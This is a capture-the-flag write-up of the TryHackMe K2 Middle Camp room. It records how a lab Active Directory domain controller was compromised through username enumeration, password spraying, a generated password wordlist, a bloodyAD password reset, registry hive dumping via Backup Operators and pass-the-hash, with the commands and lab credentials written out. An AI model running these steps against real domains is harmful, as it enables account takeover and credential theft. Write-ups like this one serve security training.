Skip to main content
  1. CTF write-ups/

TryHackMe: K2-MiddleCamp

·2615 words·13 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

This is part two of the K2 series, continuing where we left off after K2 Base Camp.

Overview
#

Platform: TryHackMe
Difficulty: Hard
Key Skills: Active Directory enumeration, credential spraying, BloodHound analysis, privilege escalation via Backup Operators group

Challenge Description
#

The IT Team can’t believe that you have made it past the first server. However, they feel confident that you won’t make it much further.

Use all of the information gathered from your previous findings in order to keep making your way to the top.

The challenge continues our journey up the K2 mountain, this time requiring us to leverage information from the previous Base Camp challenge to gain access to a Windows Active Directory domain controller.

Reconnaissance
#

Initial Port Scanning
#

I started with a quick port discovery using rustscan.

┌──(parallels㉿Kali)-[~/targets/k2/middle-camp]
└─$ rustscan -a 10.81.154.101 -- -A -oN scan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.81.154.101:53
Open 10.81.154.101:88
Open 10.81.154.101:139
Open 10.81.154.101:135
Open 10.81.154.101:389
Open 10.81.154.101:464
Open 10.81.154.101:445
Open 10.81.154.101:593
Open 10.81.154.101:636
Open 10.81.154.101:3268
Open 10.81.154.101:3269
Open 10.81.154.101:3389
Open 10.81.154.101:5985
Open 10.81.154.101:7680
Open 10.81.154.101:9389
Open 10.81.154.101:49673
Open 10.81.154.101:49668
Open 10.81.154.101:49674
Open 10.81.154.101:49676
Open 10.81.154.101:49680
Open 10.81.154.101:49706

The port scan immediately revealed this is a Windows Domain Controller based on the service fingerprint:

  • Port 53 (DNS)
  • Port 88 (Kerberos)
  • Port 389/636 (LDAP/LDAPS)
  • Port 445 (SMB)
  • Port 3389 (RDP)
  • Port 5985 (WinRM)

Detailed Service Enumeration
#

With the ports identified, I performed a deeper scan using nmap’s service detection and default scripts:

┌──(parallels㉿Kali)-[~/targets/k2/middle-camp]
└─$ sudo nmap -sC -sV -p 53,88,139,135,389,464,445,593,636,3268,3269,3389,5985,7680,9389,49673,49668,49674,49676,49680,49706 10.81.154.101                                                                                                            
[sudo] password for parallels: 
Nmap scan report for 10.81.154.101
Host is up (0.12s latency).

PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Simple DNS Plus
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-04 15:53:56Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: k2.thm, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: k2.thm, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
3389/tcp  open     ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=K2Server.k2.thm
| Not valid before: 2026-02-03T15:45:42
|_Not valid after:  2026-08-05T15:45:42
|_ssl-date: 2026-02-04T15:55:26+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: K2
|   NetBIOS_Domain_Name: K2
|   NetBIOS_Computer_Name: K2SERVER
|   DNS_Domain_Name: k2.thm
|   DNS_Computer_Name: K2Server.k2.thm
|   DNS_Tree_Name: k2.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2026-02-04T15:54:46+00:00
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  filtered pando-pub
9389/tcp  open     mc-nmf        .NET Message Framing
49668/tcp open     msrpc         Microsoft Windows RPC
49673/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open     msrpc         Microsoft Windows RPC
49676/tcp open     msrpc         Microsoft Windows RPC
49680/tcp open     msrpc         Microsoft Windows RPC
49706/tcp open     msrpc         Microsoft Windows RPC
Service Info: Host: K2SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-02-04T15:54:47
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.17 seconds

Key Findings:

  • Domain: k2.thm
  • Hostname: K2Server.k2.thm
  • OS: Windows Server 2019/2016
  • SMB Signing: Enabled and required (prevents relay attacks)

I added the following entries to /etc/hosts for proper DNS resolution:

10.81.154.101  K2Server.k2.thm k2.thm

Anonymous Enumeration Attempts
#

With the domain information in hand, I attempted to enumerate the domain using enum4linux-ng with anonymous access:

┌──(parallels㉿Kali)-[~/targets/k2/middle-camp]
└─$ enum4linux-ng -A K2Server.k2.thm -oA results.txt
ENUM4LINUX - next generation (v1.3.7)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... K2Server.k2.thm
[*] Username ......... ''
[*] Random Username .. 'yfmascuh'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ========================================
|    Listener Scan on K2Server.k2.thm    |
 ========================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =======================================================
|    Domain Information via LDAP for K2Server.k2.thm    |
 =======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: k2.thm

 ==============================================================
|    NetBIOS Names and Workgroup/Domain for K2Server.k2.thm    |
 ==============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ============================================
|    SMB Dialect Check on K2Server.k2.thm    |
 ============================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.0.2: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==============================================================
|    Domain Information via SMB session for K2Server.k2.thm    |
 ==============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: K2SERVER
NetBIOS domain name: K2
DNS domain: k2.thm
FQDN: K2Server.k2.thm
Derived membership: domain member
Derived domain: K2

 ============================================
|    RPC Session Check on K2Server.k2.thm    |
 ============================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE

 ======================================================
|    Domain Information via RPC for K2Server.k2.thm    |
 ======================================================
[+] Domain: K2
[+] Domain SID: S-1-5-21-1966530601-3185510712-10604624
[+] Membership: domain member

 ==================================================
|    OS Information via RPC for K2Server.k2.thm    |
 ==================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

 ========================================
|    Users via RPC on K2Server.k2.thm    |
 ========================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

The enum4linux-ng scan confirmed we could establish a null session, but we didn’t have sufficient privileges to enumerate users, groups, or shares.

I also attempted rid brute forcing from smb and rpcclient using netexec and lookupsid.py, just to verify we cant get a user list anonymously before we move on.

image.png

image.png

Testing anonymous LDAP binds also failed:

image.png

Conclusion: Anonymous enumeration wasn’t going to get us anywhere. We needed valid credentials.

Leveraging Information from K2 Base Camp
#

Since we couldn’t proceed with anonymous access, I turned to the credentials we discovered in the previous K2 Base Camp challenge. I organized these into separate files for easier management:

  • users.txt - Usernames discovered
  • passwords.txt - Passwords discovered
  • creds.txt - Known working username:password combinations

image.png

Credential Validation Attempts
#

I attempted to spray these credentials against multiple services using NetExec:

SMB, WinRM, LDAP, and RDP - All authentication attempts failed.

I then tried AS-REP roasting using the usernames we had:

image.png

I noticed that none of the usernames from Base Camp appeared to exist in this domain, at least not in the format we were using.

Username Enumeration
#

From the Base Camp challenge, I remembered finding the full names of two users:

  • James Bold
  • Rose Bud

People often use predictable patterns when creating usernames from their names. I decided to generate a list of possible username variations using username-anarchy, a tool that creates common username formats from first and last names:

image.png

This generated variations like:

  • jbold
  • j.bold
  • james.bold
  • boldj
  • bold.james
  • rbud
  • r.bud
  • rose.bud
  • budr
  • bud.rose
  • etc.

I combined these into a single list and added the domain suffix:

image.png

Using kerbrute userenum, I discovered two valid usernames:

image.png

Valid users found:

  • r.bud@k2.thm
  • j.bold@k2.thm

I added these to a new file called valid-users.txt for targeted password spraying.

Password Spraying
#

With valid usernames identified, I attempted to spray the passwords from Base Camp against these accounts. Unfortunately, none of the passwords worked:

First I tried spraying against smb:

image.png

Then I tried the credentials against LDAP:

image.png

WinRM:

image.png

And RDP:

image.png

AS-REP roasting also failed:

image.png

All attempts failed, so I moved to Kerbrute to try to brute forcing these users using our password list:

image.png

Success! The user r.bud was using one of the passwords from our Base Camp list:

r.bud@k2.thm:vRMkaVgdfxhW!8

This makes sense as this is the password we discovered in rose buds bash history.

Initial Access
#

Foothold via WinRM
#

With valid credentials in hand, I connected to the domain controller via WinRM using evil-winrm:

image.png

After gaining access, I began exploring the system. In Rose Bud’s documents directory, I discovered two interesting notes that provided crucial information:

Note 1 - Done Items:

Done:

  1. Note was sent and James has already performed the required action. They have informed me that they kept the base password the same, they just added two more characters to meet the criteria. It is easier for James to remember it that way.
  2. James’s password meets the criteria.

Pending:

  1. Give James Remote Access.

Note 2 - Password Policy:

Hello James:

Your password “rockyou” was found to only contain alphabetical characters. I have removed your Remote Access for now.

At the very least adhere to the new password policy:

  1. Length of password must be in between 6-12 characters
  2. Must include at least 1 special character
  3. Must include at least 1 number between the range of 0-999

Key intelligence gathered:

  • James Bold’s original password was rockyou
  • He added exactly two more characters (one special character + one digit) to meet the new policy
  • The password is now 9 characters total (7 from “rockyou” + 2 new characters)
  • He doesn’t currently have Remote Access, but will soon

Lateral Movement
#

BloodHound Enumeration
#

Before attempting to crack James’s password, I wanted to understand the domain structure better. I ran BloodHound to map out Active Directory relationships:

image.png

I found that Rose Bud (our current user) is a member of the IT Staff2 group, but this group has no useful outbound object control permissions.

image.png

More interestingly, I discovered that j.bold has GenericAll rights over j.smith:

image.png

GenericAll is a powerful permission in Active Directory it grants full control over the target object, including the ability to:

  • Reset the user’s password
  • Modify group memberships
  • Edit user properties

This became our target: get James Bold’s credentials, then use his GenericAll permission to take over j.smith’s account.

Generating James Bold’s Password
#

Based on the notes, I knew James’s password was rockyou with one special character and one digit inserted somewhere in the string. With the help of Claude code, I created a Python script to generate all possible combinations based on the password requirements:

#!/usr/bin/env python3
"""
Password candidate generator for authorized penetration testing.

Base: "rockyou" with 1 special character + 1 digit inserted at any positions.
"""

BASE = "rockyou"
SPECIAL_CHARS = "!@#$%^&*()-_=+[]{}|;:',.<>?/`~"
DIGITS = "0123456789"

candidates = set()

# Final password is 9 characters: 7 from BASE + 1 special + 1 digit
# Try all position combinations for the two inserted characters
for special in SPECIAL_CHARS:
    for digit in DIGITS:
        for special_pos in range(9):  # 9 possible insert positions
            for digit_pos in range(9):
                if special_pos == digit_pos:
                    continue

                result = []
                base_idx = 0

                for i in range(9):
                    if i == special_pos:
                        result.append(special)
                    elif i == digit_pos:
                        result.append(digit)
                    else:
                        result.append(BASE[base_idx])
                        base_idx += 1

                candidates.add("".join(result))

with open("passwords.txt", "w") as f:
    for pwd in sorted(candidates):
        f.write(pwd + "\n")

print(f"[+] Generated {len(candidates)} passwords to passwords.txt")

How the script works:

  • It takes the base password “rockyou” (7 characters)
  • Iterates through all possible special characters and digits
  • For each combination, it tries inserting them at every possible position in the 9-character final password
  • Uses a set to avoid duplicates where the same password could be generated multiple ways
  • Outputs all unique possibilities to a wordlist

Running output of this script through kerbrute found the valid password:

image.png

j.bold@k2.thm:#8rockyou

Pivoting to j.smith
#

At this point, the TryHackMe instance connection dropped unexpectedly. After reconnecting, the new target IP was 10.82.166.191

Now that I had James Bold’s credentials, I could exploit his GenericAll permission over j.smith. Using bloodyAD, I reset j.smith’s password:

image.png

bloodyAD --host 10.82.166.191 -d k2.thm -u j.bold -p '#8rockyou' set password j.smith Password1

With j.smith’s password reset to Password1, I could now authenticate as this user via WinRM:

image.png

The user flag obtained at this point.

Privilege Escalation
#

Backup Operators Group Exploitation
#

After gaining access as j.smith, I checked the user’s group memberships and discovered something interesting:

image.png

j.smith is a member of the Backup Operators group. This is a privileged group in Windows that has the following capabilities:

  • SeBackupPrivilege: Allows reading any file on the system, regardless of ACLs
  • SeRestorePrivilege: Allows writing to any file on the system
  • Can back up and restore the SAM, SYSTEM, and SECURITY registry hives

These privileges are intended for backup operations, but they can easily be abused for privilege escalation by extracting password hashes from the registry.

Extracting Password Hashes
#

Using the reg save command, I dumped the critical registry hives to the Public directory:

reg save HKLM\SAM C:\Users\Public\sam
reg save HKLM\SYSTEM C:\Users\Public\system

image.png

I then downloaded both files to my attacking machine via evil-winrm:

image.png

With the SAM and SYSTEM hives in hand, I used secretsdump.py from the Impacket suite to extract the NTLM password hashes:

image.png

Administrator hash obtained:

9545b61858c043477c350ae86c37b32f

Pass the Hash
#

Rather than attempting to crack the Administrator’s password hash, I performed a pass the hash attack.

Using evil-winrm with the -H flag to pass the hash:

image.png

Root flag obtained. Challenge completed!

On to the summit!

Key Takeaways
#

Lessons Learned
#

  1. Leverage Previous Findings: This challenge highlighted the importance of thoroughly documenting findings from previous engagements. The credentials from K2 Base Camp were essential for initial access.

  2. Username Enumeration Matters: When standard usernames don’t work, generating variations based on known full names (using tools like username-anarchy) can uncover valid accounts.

  3. Password Pattern Analysis: The notes about James’s password change provided enough information to generate a targeted wordlist rather than using a massive dictionary. This demonstrates the value of information gathering.

  4. BloodHound is Essential: BloodHound quickly revealed the attack path (r.bud → j.bold → j.smith → Administrator) that would have taken much longer to discover manually.

  5. Backup Operators = High Value Target: The Backup Operators group provides a direct path to Domain Admin through registry hive extraction.

Defense Recommendations
#

Organizations can defend against these techniques by:

  • Implementing strong password policies that prevent weak base passwords like “rockyou”
  • Regularly auditing privileged group memberships (especially Backup Operators)
  • Monitoring for suspicious registry hive access via SeBackupPrivilege
  • Implementing LAPS to randomize local admin passwords
  • Disabling NTLM authentication where possible and enforcing Kerberos
  • Using tools like BloodHound defensively to identify dangerous permission chains
  • Implementing tiered administration to prevent lateral movement

Tools Used
#

  • rustscan - port scanner
  • nmap - Service enumeration and version detection
  • enum4linux-ng - SMB/LDAP enumeration
  • username-anarchy - Username wordlist generation
  • kerbrute - Kerberos username enumeration
  • NetExec - Credential spraying and validation
  • evil-winrm - Windows Remote Management shell
  • BloodHound - Active Directory relationship mapping
  • bloodyAD - Active Directory exploitation framework
  • secretsdump.py - Password hash extraction from registry hives

This challenge provided an excellent simulation of a real world Active Directory penetration test, requiring chaining multiple techniques together to achieve domain compromise. Now we can move on to part three, the summit.